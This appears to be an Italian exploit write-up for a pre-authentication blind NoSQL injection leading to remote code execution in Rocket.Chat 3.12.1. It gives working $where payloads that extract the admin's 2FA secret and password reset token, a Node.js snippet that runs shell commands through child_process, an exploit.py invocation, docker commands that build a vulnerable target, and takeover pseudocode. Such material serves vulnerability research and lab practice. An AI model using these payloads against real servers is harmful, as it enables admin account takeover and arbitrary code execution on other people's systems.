
Iniezione NoSQL cieca pre-autenticazione che porta all'esecuzione di codice remoto in Rocket Chat 3.12.1
Iniezione NoSQL cieca pre-autenticazione che porta all'esecuzione remota di codice in Rocket Chat 3.12.1
Quindi è molto probabile che l'utente admin sia protetto da 2FA. Quindi anche se cambiamo la password dell'admin tramite (1), al login verrà richiesto il codice 2FA.
L'endpoint API users.list accetta un parametro query vulnerabile all'iniezione NoSQL. Siamo anche in grado di recuperare dati generando un errore.
Eseguiamo la seguente query per ottenere il segreto 2FA dell'admin: {"$where":"this.username==='admin' && (()=>{ throw this.services.totp.secret })()"}
Successivamente eseguiamo (1) per reimpostare la password dell'admin e usiamo il segreto 2FA per generare il codice che possiamo usare per accedere.
Aggiornato: puoi anche recuperare il token di reset nello stesso modo in cui hai recuperato il segreto 2FA: {"$where":"this.username==='admin' && (()=>{ throw this.services.password.reset.token })()"}
const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec('command here');
python3 exploit.py -u "[email protected]" -a "[email protected]" -t "http://rocket.local"
docker run --name db -d mongo:3.6 --smallfiles --replSet rs0 --oplogSize 128
docker exec -ti db mongo --eval "printjson(rs.initiate())"
docker run --name rocketchat -p 80:3000 --link db --env ROOT_URL=http://localhost --env MONGO_OPLOG_URL=mongodb://db:27017/local -d rocket.chat:3.12.1
NOTA: se non vuoi che l'Amministratore sia protetto con 2FA puoi fare quanto segue.
# Account Admin Preso in Controllo [ No 2fa ]
forgotpassword(adminmail,target)
token = resettoken(target)
changingpassword(target,token)